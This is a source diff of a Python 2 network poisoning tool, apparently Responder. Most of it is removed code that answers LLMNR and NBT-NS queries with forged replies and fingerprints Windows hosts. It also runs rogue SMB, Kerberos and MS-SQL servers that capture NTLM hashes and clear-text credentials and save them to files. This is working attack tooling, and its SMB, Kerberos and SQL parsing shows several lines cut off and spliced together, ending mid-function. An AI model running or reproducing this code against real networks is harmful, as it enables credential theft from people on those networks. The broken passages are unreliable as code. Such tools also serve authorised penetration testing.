+parser.add_option('-r', '--wredir', action="store_true", help="Enable answers for netbios wredir suffix queries. Answering to wredir will likely break stuff on the network. Default: False", dest="Wredirect", default=False) +parser.add_option('-d', '--NBTNSdomain', action="store_true", help="Enable answers for netbios domain suffix queries. Answering to domain suffixes will likely break stuff on the network. Default: False", dest="NBTNSDomain", default=False) +parser.add_option('-f','--fingerprint', action="store_true", help="This option allows you to fingerprint a host that issued an NBT-NS or LLMNR query.", dest="Finger", default=False) +parser.add_option('-w','--wpad', action="store_true", help="Start the WPAD rogue proxy server. Default value is False", dest="WPAD_On_Off", default=False) parser.add_option('-u','--upstream-proxy', action="store", help="Upstream HTTP proxy used by the rogue WPAD Proxy for outgoing requests (format: host:port)", dest="Upstream_Proxy", default=None) - -parser.add_option('-F','--ForceWpadAuth', action="store_true", dest="Force_WPAD_Auth", help = "Set this if you want to force NTLM/Basic authentication on wpad.dat file retrieval. This might cause a login prompt in some specific cases. Therefore, default value is False",default=False) - -parser.add_option('--lm',action="store_true", help="Set this if you want to force LM hashing downgrade for Windows XP/2003 and earlier. Default value is False", dest="LM_On_Off", default=False) - -parser.add_option('-v',action="store_true", help="More verbose",dest="Verbose") - +parser.add_option('-F','--ForceWpadAuth', action="store_true", help="Force NTLM/Basic authentication on wpad.dat file retrieval. This may cause a login prompt. Default: False", dest="Force_WPAD_Auth", default=False) +parser.add_option('--lm', action="store_true", help="Force LM hashing downgrade for Windows XP/2003 and earlier. Default: False", dest="LM_On_Off", default=False) +parser.add_option('-v', action="store_true", help="More verbose", dest="Verbose") options, args = parser.parse_args() -if options.OURIP is None: - print "\n\033[1m\033[31m-i mandatory option is missing\033[0m\n" - parser.print_help() - exit(-1) +settings.init() +settings.Config.populate(options) -ResponderPATH = os.path.dirname(__file__) - -#Config parsing -config = ConfigParser.ConfigParser() -config.read(os.path.join(ResponderPATH,'Responder.conf')) - -# Set some vars. -On_Off = config.get('Responder Core', 'HTTP').upper() -SSL_On_Off = config.get('Responder Core', 'HTTPS').upper() -SMB_On_Off = config.get('Responder Core', 'SMB').upper() -SQL_On_Off = config.get('Responder Core', 'SQL').upper() -FTP_On_Off = config.get('Responder Core', 'FTP').upper() -POP_On_Off = config.get('Responder Core', 'POP').upper() -IMAP_On_Off = config.get('Responder Core', 'IMAP').upper() -SMTP_On_Off = config.get('Responder Core', 'SMTP').upper() -LDAP_On_Off = config.get('Responder Core', 'LDAP').upper() -DNS_On_Off = config.get('Responder Core', 'DNS').upper() -Krb_On_Off = config.get('Responder Core', 'Kerberos').upper() -NumChal = config.get('Responder Core', 'Challenge') -SessionLog = config.get('Responder Core', 'SessionLog') -Exe_On_Off = config.get('HTTP Server', 'Serve-Exe').upper() -Exec_Mode_On_Off = config.get('HTTP Server', 'Serve-Always').upper() -FILENAME = config.get('HTTP Server', 'Filename') -WPAD_Script = config.get('HTTP Server', 'WPADScript') -HTMLToServe = config.get('HTTP Server', 'HTMLToServe') -RespondTo = config.get('Responder Core', 'RespondTo').strip() -RespondTo.split(",") -RespondToName = config.get('Responder Core', 'RespondToName').strip() -RespondToName.split(",") -DontRespondTo = config.get('Responder Core', 'DontRespondTo').strip() -DontRespondTo.split(",") -DontRespondToName = config.get('Responder Core', 'DontRespondToName').strip() -DontRespondToName.split(",") -#Cli options. -OURIP = options.OURIP -LM_On_Off = options.LM_On_Off -WPAD_On_Off = options.WPAD_On_Off -Wredirect = options.Wredirect -NBTNSDomain = options.NBTNSDomain -Basic = options.Basic -Finger_On_Off = options.Finger -INTERFACE = options.INTERFACE -Verbose = options.Verbose -Force_WPAD_Auth = options.Force_WPAD_Auth -Upstream_Proxy = options.Upstream_Proxy -AnalyzeMode = options.Analyse - -if HTMLToServe == None: - HTMLToServe = '' - -if INTERFACE != "Not set": - BIND_TO_Interface = INTERFACE - -if INTERFACE == "Not set": - BIND_TO_Interface = "ALL" - -if len(NumChal) is not 16: - print "The challenge must be exactly 16 chars long.\nExample: -c 1122334455667788\n" - parser.print_help() - exit(-1) - -def IsOsX(): - Os_version = sys.platform - if Os_version == "darwin": - return True - else: - return False - -def OsInterfaceIsSupported(INTERFACE): - if INTERFACE != "Not set": - if IsOsX(): - return False - else: - return True - if INTERFACE == "Not set": - return False - -def Analyze(AnalyzeMode): - if AnalyzeMode == True: - return True - else: - return False - -#Logger -CommandLine = str(sys.argv) -import logging -logging.basicConfig(filename=str(os.path.join(ResponderPATH,SessionLog)),level=logging.INFO,format='%(asctime)s %(message)s', datefmt='%m/%d/%Y %I:%M:%S %p') -StartMessage = 'Responder Started\nCommand line args:%s' %(CommandLine) +# Logger +logging.basicConfig(filename=settings.Config.Log1Filename,level=logging.INFO, format='%(asctime)s %(message)s', datefmt='%m/%d/%Y %I:%M:%S %p') +StartMessage = 'Responder Started\nCommand line args:%s' % (settings.Config.CommandLine) logging.warning(StartMessage) -Log2Filename = str(os.path.join(ResponderPATH,"LLMNR-NBT-NS.log")) logger2 = logging.getLogger('LLMNR/NBT-NS') -logger2.addHandler(logging.FileHandler(Log2Filename,'w')) +logger2.addHandler(logging.FileHandler(settings.Config.Log2Filename,'w')) -AnalyzeFilename = str(os.path.join(ResponderPATH,"Analyze-LLMNR-NBT-NS.log")) logger3 = logging.getLogger('Analyze LLMNR/NBT-NS') -logger3.addHandler(logging.FileHandler(AnalyzeFilename,'a')) - -def Show_Help(ExtraHelpData): - help = "NBT Name Service/LLMNR Responder 2.0.\nPlease send bugs/comments to: lgaffie@trustwave.com\nTo kill this script hit CRTL-C\n\n" - help+= ExtraHelpData - print help - -#Function used to write captured hashs to a file. -def WriteData(outfile,data, user): - if os.path.isfile(outfile) == False: - with open(outfile,"w") as outf: - outf.write(data) - outf.write("\n") - outf.close() - if os.path.isfile(outfile) == True: - with open(outfile,"r") as filestr: - if re.search(user.encode('hex'), filestr.read().encode('hex')): - filestr.close() - return False - if re.search(re.escape("$"), user): - filestr.close() - return False - else: - with open(outfile,"a") as outf2: - outf2.write(data) - outf2.write("\n") - outf2.close() - -def PrintData(outfile,user): - if Verbose == True: - return True - if os.path.isfile(outfile) == True: - with open(outfile,"r") as filestr: - if re.search(user.encode('hex'), filestr.read().encode('hex')): - filestr.close() - return False - if re.search(re.escape("$"), user): - filestr.close() - return False - else: - return True - else: - return True - -def PrintLLMNRNBTNS(outfile,Message): - if Verbose == True: - return True - if os.path.isfile(outfile) == True: - with open(outfile,"r") as filestr: - if re.search(re.escape(Message), filestr.read()): - filestr.close() - return False - else: - return True - else: - return True - - -# Break out challenge for the hexidecimally challenged. Also, avoid 2 different challenges by accident. -Challenge = "" -for i in range(0,len(NumChal),2): - Challenge += NumChal[i:i+2].decode("hex") - -Show_Help("[+]NBT-NS, LLMNR & MDNS responder started\n[+]Loading Responder.conf File..\nGlobal Parameters set:\nResponder is bound to this interface: %s\nChallenge set: %s\nWPAD Proxy Server: %s\nWPAD script loaded: %s\nHTTP Server: %s\nHTTPS Server: %s\nSMB Server: %s\nSMB LM support: %s\nKerberos Server: %s\nSQL Server: %s\nFTP Server: %s\nIMAP Server: %s\nPOP3 Server: %s\nSMTP Server: %s\nDNS Server: %s\nLDAP Server: %s\nFingerPrint hosts: %s\nServing Executable via HTTP&WPAD: %s\nAlways Serving a Specific File via HTTP&WPAD: %s\n\n"%(BIND_TO_Interface, NumChal,WPAD_On_Off,WPAD_Script,On_Off,SSL_On_Off,SMB_On_Off,LM_On_Off,Krb_On_Off,SQL_On_Off,FTP_On_Off,IMAP_On_Off,POP_On_Off,SMTP_On_Off,DNS_On_Off,LDAP_On_Off,Finger_On_Off,Exe_On_Off,Exec_Mode_On_Off)) - -if AnalyzeMode: - print '[+]Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned.\n' - -#Packet class handling all packet generation (see odict.py). -class Packet(): - fields = OrderedDict([ - ("data", ""), - ]) - def __init__(self, **kw): - self.fields = OrderedDict(self.__class__.fields) - for k,v in kw.items(): - if callable(v): - self.fields[k] = v(self.fields[k]) - else: - self.fields[k] = v - def __str__(self): - return "".join(map(str, self.fields.values())) - -#Function name self-explanatory -def Is_Finger_On(Finger_On_Off): - if Finger_On_Off == True: - return True - if Finger_On_Off == False: - return False - -def RespondToSpecificHost(RespondTo): - if len(RespondTo)>=1 and RespondTo != ['']: - return True - else: - return False - -def RespondToSpecificName(RespondToName): - if len(RespondToName)>=1 and RespondToName != ['']: - return True - else: - return False - -def RespondToIPScope(RespondTo, ClientIp): - if ClientIp in RespondTo: - return True - else: - return False - -def RespondToNameScope(RespondToName, Name): - if Name in RespondToName: - return True - else: - return False - -##Dont Respond to these hosts/names. -def DontRespondToSpecificHost(DontRespondTo): - if len(DontRespondTo)>=1 and DontRespondTo != ['']: - return True - else: - return False - -def DontRespondToSpecificName(DontRespondToName): - if len(DontRespondToName)>=1 and DontRespondToName != ['']: - return True - else: - return False - -def DontRespondToIPScope(DontRespondTo, ClientIp): - if ClientIp in DontRespondTo: - return True - else: - return False - -def DontRespondToNameScope(DontRespondToName, Name): - if Name in DontRespondToName: - return True - else: - return False -################################################################################## -#NBT NS Stuff -################################################################################## - -#NBT-NS answer packet. -class NBT_Ans(Packet): - fields = OrderedDict([ - ("Tid", ""), - ("Flags", "\x85\x00"), - ("Question", "\x00\x00"), - ("AnswerRRS", "\x00\x01"), - ("AuthorityRRS", "\x00\x00"), - ("AdditionalRRS", "\x00\x00"), - ("NbtName", ""), - ("Type", "\x00\x20"), - ("Classy", "\x00\x01"), - ("TTL", "\x00\x00\x00\xa5"), - ("Len", "\x00\x06"), - ("Flags1", "\x00\x00"), - ("IP", "\x00\x00\x00\x00"), - ]) - - def calculate(self,data): - self.fields["Tid"] = data[0:2] - self.fields["NbtName"] = data[12:46] - self.fields["IP"] = inet_aton(OURIP) - -def NBT_NS_Role(data): - Role = { - "\x41\x41\x00":"Workstation/Redirector Service.", - "\x42\x4c\x00":"Domain Master Browser. This name is likely a domain controller or a homegroup.)", - "\x42\x4d\x00":"Domain controller service. This name is a domain controller.", - "\x42\x4e\x00":"Local Master Browser.", - "\x42\x4f\x00":"Browser Election Service.", - "\x43\x41\x00":"File Server Service.", - "\x41\x42\x00":"Browser Service.", - } - - if data in Role: - return Role[data] - else: - return "Service not known." - -# Define what are we answering to. -def Validate_NBT_NS(data,Wredirect): - if Analyze(AnalyzeMode): - return False - - if NBT_NS_Role(data[43:46]) == "File Server Service.": - return True - - if NBTNSDomain == True: - if NBT_NS_Role(data[43:46]) == "Domain controller service. This name is a domain controller.": - return True - - if Wredirect == True: - if NBT_NS_Role(data[43:46]) == "Workstation/Redirector Service.": - return True - - else: - return False - -def Decode_Name(nbname): - #From http://code.google.com/p/dpkt/ with author's permission. - try: - if len(nbname) != 32: - return nbname - l = [] - for i in range(0, 32, 2): - l.append(chr(((ord(nbname[i]) - 0x41) << 4) | - ((ord(nbname[i+1]) - 0x41) & 0xf))) - return filter(lambda x: x in string.printable, ''.join(l).split('\x00', 1)[0].replace(' ', '')) - except: - return "Illegal NetBIOS name" - -# NBT_NS Server class. -class NB(BaseRequestHandler): - - def handle(self): - data, socket = self.request - Name = Decode_Name(data[13:45]) - - if DontRespondToSpecificHost(DontRespondTo): - if RespondToIPScope(DontRespondTo, self.client_address[0]): - return None - - if DontRespondToSpecificName(DontRespondToName) and DontRespondToNameScope(DontRespondToName.upper(), Name.upper()): - return None - - if Analyze(AnalyzeMode): - if data[2:4] == "\x01\x10": - if Is_Finger_On(Finger_On_Off): - try: - Finger = RunSmbFinger((self.client_address[0],445)) - Message = "[Analyze mode: NBT-NS] Host: %s is looking for : %s. Service requested is: %s.\nOs Version is: %s Client Version is: %s"%(self.client_address[0], Name,NBT_NS_Role(data[43:46]),Finger[0],Finger[1]) - logger3.warning(Message) - except Exception: - Message = "[Analyze mode: NBT-NS] Host: %s is looking for : %s. Service requested is: %s\n"%(self.client_address[0], Name,NBT_NS_Role(data[43:46])) - logger3.warning(Message) - if PrintLLMNRNBTNS(AnalyzeFilename,Message): - print Message - else: - Message = "[Analyze mode: NBT-NS] Host: %s is looking for : %s. Service requested is: %s"%(self.client_address[0], Name,NBT_NS_Role(data[43:46])) - if PrintLLMNRNBTNS(AnalyzeFilename,Message): - print Message - logger3.warning(Message) - - if RespondToSpecificHost(RespondTo) and Analyze(AnalyzeMode) == False: - if RespondToIPScope(RespondTo, self.client_address[0]): - if data[2:4] == "\x01\x10": - if Validate_NBT_NS(data,Wredirect): - if RespondToSpecificName(RespondToName) == False: - buff = NBT_Ans() - buff.calculate(data) - for x in range(1): - socket.sendto(str(buff), self.client_address) - Message = 'NBT-NS Answer sent to: %s. The requested name was : %s'%(self.client_address[0], Name) - logging.warning(Message) - if PrintLLMNRNBTNS(Log2Filename,Message): - print Message - logger2.warning(Message) - if Is_Finger_On(Finger_On_Off): - try: - Finger = RunSmbFinger((self.client_address[0],445)) - print '[+] OsVersion is:%s'%(Finger[0]) - print '[+] ClientVersion is :%s'%(Finger[1]) - logging.warning('[+] OsVersion is:%s'%(Finger[0])) - logging.warning('[+] ClientVersion is :%s'%(Finger[1])) - except Exception: - logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0])) - pass - if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()): - buff = NBT_Ans() - buff.calculate(data) - for x in range(1): - socket.sendto(str(buff), self.client_address) - Message = 'NBT-NS Answer sent to: %s. The requested name was : %s'%(self.client_address[0], Name) - logging.warning(Message) - if PrintLLMNRNBTNS(Log2Filename,Message): - print Message - logger2.warning(Message) - if Is_Finger_On(Finger_On_Off): - try: - Finger = RunSmbFinger((self.client_address[0],445)) - print '[+] OsVersion is:%s'%(Finger[0]) - print '[+] ClientVersion is :%s'%(Finger[1]) - logging.warning('[+] OsVersion is:%s'%(Finger[0])) - logging.warning('[+] ClientVersion is :%s'%(Finger[1])) - except Exception: - logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0])) - pass - else: - pass - else: - pass - - else: - if data[2:4] == "\x01\x10": - if Validate_NBT_NS(data,Wredirect) and Analyze(AnalyzeMode) == False: - if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()): - buff = NBT_Ans() - buff.calculate(data) - for x in range(1): - socket.sendto(str(buff), self.client_address) - Message = 'NBT-NS Answer sent to: %s. The requested name was : %s'%(self.client_address[0], Name) - logging.warning(Message) - if PrintLLMNRNBTNS(Log2Filename,Message): - print Message - logger2.warning(Message) - if Is_Finger_On(Finger_On_Off): - try: - Finger = RunSmbFinger((self.client_address[0],445)) - print '[+] OsVersion is:%s'%(Finger[0]) - print '[+] ClientVersion is :%s'%(Finger[1]) - logging.warning('[+] OsVersion is:%s'%(Finger[0])) - logging.warning('[+] ClientVersion is :%s'%(Finger[1])) - except Exception: - logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0])) - pass - if RespondToSpecificName(RespondToName) == False: - buff = NBT_Ans() - buff.calculate(data) - for x in range(1): - socket.sendto(str(buff), self.client_address) - Message = 'NBT-NS Answer sent to: %s. The requested name was : %s'%(self.client_address[0], Name) - logging.warning(Message) - if PrintLLMNRNBTNS(Log2Filename,Message): - print Message - logger2.warning(Message) - if Is_Finger_On(Finger_On_Off): - try: - Finger = RunSmbFinger((self.client_address[0],445)) - print '[+] OsVersion is:%s'%(Finger[0]) - print '[+] ClientVersion is :%s'%(Finger[1]) - logging.warning('[+] OsVersion is:%s'%(Finger[0])) - logging.warning('[+] ClientVersion is :%s'%(Finger[1])) - except Exception: - logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0])) - pass - else: - pass - -################################################################################## -#Browser Listener and Lanman Finger -################################################################################## -from RAPLANMANPackets import * - -def WorkstationFingerPrint(data): - Role = { - "\x04\x00" :"Windows 95", - "\x04\x10" :"Windows 98", - "\x04\x90" :"Windows ME", - "\x05\x00" :"Windows 2000", - "\x05\x00" :"Windows XP", - "\x05\x02" :"Windows 2003", - "\x06\x00" :"Windows Vista/Server 2008", - "\x06\x01" :"Windows 7/Server 2008R2", - } - - if data in Role: - return Role[data] - else: - return False - -def PrintServerName(data, entries): - if entries == 0: - pass - else: - entrieslen = 26*entries - chunks, chunk_size = len(data[:entrieslen]), entrieslen/entries - ServerName = [data[i:i+chunk_size] for i in range(0, chunks, chunk_size) ] - l =[] - for x in ServerName: - if WorkstationFingerPrint(x[16:18]): - l.append(x[:16].replace('\x00', '')+'\n [-]Os version is:%s'%(WorkstationFingerPrint(x[16:18]))) - else: - l.append(x[:16].replace('\x00', '')) - - return l - -def ParsePacket(Payload): - PayloadOffset = struct.unpack(' 260: - SSPIStart = data[79:] - LMhashLen = struct.unpack(' 260: - SSPIStart = data[79:] - LMhashLen = struct.unpack(' 60: - outfile = os.path.join(ResponderPATH,"SMB-NTLMv2-Client-"+client+".txt") - NtHash = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper() - DomainLen = struct.unpack(' 25: - Hash = data[65+LMhashLen:65+LMhashLen+NthashLen] - logging.warning('[+]SMB-NTLMv2 hash captured from :%s'%(client)) - outfile = os.path.join(ResponderPATH,"SMB-NTLMv2-Client-"+client+".txt") - pack = tuple(data[89+NthashLen:].split('\x00\x00\x00'))[:2] - var = [e.replace('\x00','') for e in data[89+NthashLen:Bcc+60].split('\x00\x00\x00')[:2]] - Username, Domain = tuple(var) - Writehash = Username+"::"+Domain+":"+NumChal+":"+Hash.encode('hex')[:32].upper()+":"+Hash.encode('hex')[32:].upper() - if PrintData(outfile,Username+"::"+Domain): - print "[+]SMB-NTLMv2 hash captured from :",client - print "[+]SMB-NTLMv2 complete hash is :",Writehash - ParseShare(data) - WriteData(outfile,Writehash, Username+"::"+Domain) - logging.warning('[+]SMB-NTLMv2 complete hash is :%s'%(Writehash)) - if NthashLen == 24: - logging.warning('[+]SMB-NTLMv1 hash captured from :%s'%(client)) - outfile = os.path.join(ResponderPATH,"SMB-NTLMv1-Client-"+client+".txt") - pack = tuple(data[89+NthashLen:].split('\x00\x00\x00'))[:2] - var = [e.replace('\x00','') for e in data[89+NthashLen:Bcc+60].split('\x00\x00\x00')[:2]] - Username, Domain = tuple(var) - writehash = Username+"::"+Domain+":"+data[65:65+LMhashLen].encode('hex').upper()+":"+data[65+LMhashLen:65+LMhashLen+NthashLen].encode('hex').upper()+":"+NumChal - if PrintData(outfile,Username+"::"+Domain): - print "[+]SMB-NTLMv1 hash captured from : ",client - print "[+]SMB complete hash is :", writehash - ParseShare(data) - WriteData(outfile,writehash, Username+"::"+Domain) - logging.warning('[+]SMB-NTLMv1 complete hash is :%s'%(writehash)) - logging.warning('[+]SMB-NTLMv1 Username:%s'%(Username)) - logging.warning('[+]SMB-NTLMv1 Domain (if joined, if not then computer name) :%s'%(Domain)) - except Exception: - raise - -def IsNT4ClearTxt(data): - HeadLen = 36 - Flag2 = data[14:16] - if Flag2 == "\x03\x80": - SmbData = data[HeadLen+14:] - WordCount = data[HeadLen] - ChainedCmdOffset = data[HeadLen+1] - if ChainedCmdOffset == "\x75": - PassLen = struct.unpack(' 2: - Password = data[HeadLen+30:HeadLen+30+PassLen].replace("\x00","") - User = ''.join(tuple(data[HeadLen+30+PassLen:].split('\x00\x00\x00'))[:1]).replace("\x00","") - print "[SMB]Clear Text Credentials: %s:%s" %(User,Password) - logging.warning("[SMB]Clear Text Credentials: %s:%s"%(User,Password)) - -#SMB Server class, NTLMSSP -class SMB1(BaseRequestHandler): - - def handle(self): - try: - while True: - data = self.request.recv(1024) - self.request.settimeout(1) - ##session request 139 - if data[0] == "\x81": - buffer0 = "\x82\x00\x00\x00" - self.request.send(buffer0) - data = self.request.recv(1024) - ##Negotiate proto answer. - if data[8:10] == "\x72\x00": - #Customize SMB answer. - head = SMBHeader(cmd="\x72",flag1="\x88", flag2="\x01\xc8", pid=pidcalc(data),mid=midcalc(data)) - t = SMBNegoKerbAns(Dialect=Parse_Nego_Dialect(data)) - t.calculate() - final = t - packet0 = str(head)+str(final) - buffer0 = longueur(packet0)+packet0 - self.request.send(buffer0) - data = self.request.recv(1024) - ##Session Setup AndX Request - if data[8:10] == "\x73\x00": - IsNT4ClearTxt(data) - head = SMBHeader(cmd="\x73",flag1="\x88", flag2="\x01\xc8", errorcode="\x16\x00\x00\xc0", uid=chr(randrange(256))+chr(randrange(256)),pid=pidcalc(data),tid="\x00\x00",mid=midcalc(data)) - t = SMBSession1Data(NTLMSSPNtServerChallenge=Challenge) - t.calculate() - final = t - packet1 = str(head)+str(final) - buffer1 = longueur(packet1)+packet1 - self.request.send(buffer1) - data = self.request.recv(4096) - if data[8:10] == "\x73\x00": - if Is_Anonymous(data): - head = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid="\x00\x00",uid=uidcalc(data),mid=midcalc(data))###should always send errorcode="\x72\x00\x00\xc0" account disabled for anonymous logins. - final = SMBSessEmpty() - packet1 = str(head)+str(final) - buffer1 = longueur(packet1)+packet1 - self.request.send(buffer1) - else: - ParseSMBHash(data,self.client_address[0]) - head = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) - final = SMBSession2Accept() - final.calculate() - packet2 = str(head)+str(final) - buffer2 = longueur(packet2)+packet2 - self.request.send(buffer2) - data = self.request.recv(1024) - ##Tree Connect IPC Answer - if data[8:10] == "\x75\x00": - ParseShare(data) - head = SMBHeader(cmd="\x75",flag1="\x88", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00", pid=pidcalc(data), tid=chr(randrange(256))+chr(randrange(256)), uid=uidcalc(data), mid=midcalc(data)) - t = SMBTreeData() - t.calculate() - final = t - packet1 = str(head)+str(final) - buffer1 = longueur(packet1)+packet1 - self.request.send(buffer1) - data = self.request.recv(1024) - ##Tree Disconnect. - if data[8:10] == "\x71\x00": - head = SMBHeader(cmd="\x71",flag1="\x98", flag2="\x07\xc8", errorcode="\x00\x00\x00\x00",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) - final = "\x00\x00\x00" - packet1 = str(head)+str(final) - buffer1 = longueur(packet1)+packet1 - self.request.send(buffer1) - data = self.request.recv(1024) - ##NT_CREATE Access Denied. - if data[8:10] == "\xa2\x00": - head = SMBHeader(cmd="\xa2",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) - final = "\x00\x00\x00" - packet1 = str(head)+str(final) - buffer1 = longueur(packet1)+packet1 - self.request.send(buffer1) - data = self.request.recv(1024) - ##Trans2 Access Denied. - if data[8:10] == "\x25\x00": - head = SMBHeader(cmd="\x25",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) - final = "\x00\x00\x00" - packet1 = str(head)+str(final) - buffer1 = longueur(packet1)+packet1 - self.request.send(buffer1) - data = self.request.recv(1024) - ##LogOff. - if data[8:10] == "\x74\x00": - head = SMBHeader(cmd="\x74",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) - final = "\x02\xff\x00\x27\x00\x00\x00" - packet1 = str(head)+str(final) - buffer1 = longueur(packet1)+packet1 - self.request.send(buffer1) - data = self.request.recv(1024) - - except Exception: - pass #no need to print errors.. - -#SMB Server class, old version. -class SMB1LM(BaseRequestHandler): - - def handle(self): - try: - self.request.settimeout(0.5) - data = self.request.recv(1024) - ##session request 139 - if data[0] == "\x81": - buffer0 = "\x82\x00\x00\x00" - self.request.send(buffer0) - data = self.request.recv(1024) - ##Negotiate proto answer. - if data[8:10] == "\x72\x00": - head = SMBHeader(cmd="\x72",flag1="\x80", flag2="\x00\x00",pid=pidcalc(data),mid=midcalc(data)) - t = SMBNegoAnsLM(Dialect=Parse_Nego_Dialect(data),Domain="",Key=Challenge) - t.calculate() - packet1 = str(head)+str(t) - buffer1 = longueur(packet1)+packet1 - self.request.send(buffer1) - data = self.request.recv(1024) - ##Session Setup AndX Request - if data[8:10] == "\x73\x00": - if Is_LMNT_Anonymous(data): - head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) - packet1 = str(head)+str(SMBSessEmpty()) - buffer1 = longueur(packet1)+packet1 - self.request.send(buffer1) - else: - ParseLMNTHash(data,self.client_address[0]) - head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) - packet1 = str(head)+str(SMBSessEmpty()) - buffer1 = longueur(packet1)+packet1 - self.request.send(buffer1) - data = self.request.recv(1024) - - except Exception: - self.request.close() - pass - - -################################################################################## -#Kerberos Server -################################################################################## -def ParseMSKerbv5TCP(Data): - MsgType = Data[21:22] - EncType = Data[43:44] - MessageType = Data[32:33] - if MsgType == "\x0a" and EncType == "\x17" and MessageType =="\x02": - if Data[49:53] == "\xa2\x36\x04\x34" or Data[49:53] == "\xa2\x35\x04\x33": - HashLen = struct.unpack(' 60: - DomainLen = struct.unpack('H',Data[2:4])[0] - EncryptionValue = Data[PacketLen-7:PacketLen-6] - if re.search("NTLMSSP",Data): - return True - else: - return False - -#MS-SQL server class. -class MSSQL(BaseRequestHandler): - - def handle(self): - try: - while True: - data = self.request.recv(1024) - self.request.settimeout(0.1) - ##Pre-Login Message - if data[0] == "\x12": - buffer0 = str(MSSQLPreLoginAnswer()) - self.request.send(buffer0) - data = self.request.recv(1024) - ##NegoSSP - if data[0] == "\x10": - if re.search("NTLMSSP",data): - t = MSSQLNTLMChallengeAnswer(ServerChallenge=Challenge) - t.calculate() - buffer1 = str(t) - self.request.send(buffer1) - data = self.request.recv(1024) - else: - ParseClearTextSQLPass(data,self.client_address[0]) - ##NegoSSP Auth - if data[0] == "\x11": - ParseSQLHash(data,self.client_address[0]) - except Exception: - pass - self.request.close() - -################################################################################## -#LLMNR Stuff -################################################################################## - -#LLMNR Answer packet. -class LLMNRAns(Packet): - fields = OrderedDict([ - ("Tid", ""), - ("Flags", "\x80\x00"), - ("Question", "\x00\x01"), - ("AnswerRRS", "\x00\x01"), - ("AuthorityRRS", "\x00\x00"), - ("AdditionalRRS", "\x00\x00"), - ("QuestionNameLen", "\x09"), - ("QuestionName", ""), - ("QuestionNameNull", "\x00"), - ("Type", "\x00\x01"), - ("Class", "\x00\x01"), - ("AnswerNameLen", "\x09"), - ("AnswerName", ""), - ("AnswerNameNull", "\x00"), - ("Type1", "\x00\x01"), - ("Class1", "\x00\x01"), - ("TTL", "\x00\x00\x00\x1e"),##Poison for 30 sec. - ("IPLen", "\x00\x04"), - ("IP", "\x00\x00\x00\x00"), - ]) - - def calculate(self): - self.fields["IP"] = inet_aton(OURIP) - self.fields["IPLen"] = struct.pack(">h",len(self.fields["IP"])) - self.fields["AnswerNameLen"] = struct.pack(">h",len(self.fields["AnswerName"]))[1] - self.fields["QuestionNameLen"] = struct.pack(">h",len(self.fields["QuestionName"]))[1] - -def Parse_LLMNR_Name(data): - NameLen = struct.unpack('>B',data[12])[0] - Name = data[13:13+NameLen] - return Name - -def Parse_IPV6_Addr(data): - if data[len(data)-4:len(data)][1] =="\x1c": - return False - if data[len(data)-4:len(data)] == "\x00\x01\x00\x01": - return True - if data[len(data)-4:len(data)] == "\x00\xff\x00\x01": - return True - else: - return False - -def IsOnTheSameSubnet(ip, net): - net = net+'/24' - ipaddr = int(''.join([ '%02x' % int(x) for x in ip.split('.') ]), 16) - netstr, bits = net.split('/') - netaddr = int(''.join([ '%02x' % int(x) for x in netstr.split('.') ]), 16) - mask = (0xffffffff << (32 - int(bits))) & 0xffffffff - return (ipaddr & mask) == (netaddr & mask) - -def IsICMPRedirectPlausible(IP): - dnsip = [] - for line in file('/etc/resolv.conf', 'r'): - ip = line.split() - if len(ip) < 2: - continue - if ip[0] == 'nameserver': - dnsip.extend(ip[1:]) - for x in dnsip: - if x !="127.0.0.1" and IsOnTheSameSubnet(x,IP) == False: - print "[Analyze mode: ICMP] You can ICMP Redirect on this network. This workstation (%s) is not on the same subnet than the DNS server (%s). Use python Icmp-Redirect.py for more details."%(IP, x) - else: - pass - -def FindLocalIP(Iface): - s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) - s.setsockopt(socket.SOL_SOCKET, 25, Iface+'\0') - s.connect(("127.0.0.1",9))#RFC 863 - return s.getsockname()[0] - -def AnalyzeICMPRedirect(): - if Analyze(AnalyzeMode) and OURIP is not None and INTERFACE == 'Not set': - IsICMPRedirectPlausible(OURIP) - if Analyze(AnalyzeMode) and INTERFACE != 'Not set': - IsICMPRedirectPlausible(FindLocalIP(INTERFACE)) - -AnalyzeICMPRedirect() - -# LLMNR Server class. -class LLMNR(BaseRequestHandler): - - def handle(self): - data, soc = self.request - try: - if data[2:4] == "\x00\x00": - if Parse_IPV6_Addr(data): - Name = Parse_LLMNR_Name(data) - if Analyze(AnalyzeMode): - if Is_Finger_On(Finger_On_Off): - try: - Finger = RunSmbFinger((self.client_address[0],445)) - Message = "[Analyze mode: LLMNR] Host: %s is looking for : %s.\nOs Version is: %s Client Version is: %s"%(self.client_address[0], Name,Finger[0],Finger[1]) - logger3.warning(Message) - except Exception: - Message = "[Analyze mode: LLMNR] Host: %s is looking for : %s."%(self.client_address[0], Name) - logger3.warning(Message) - if 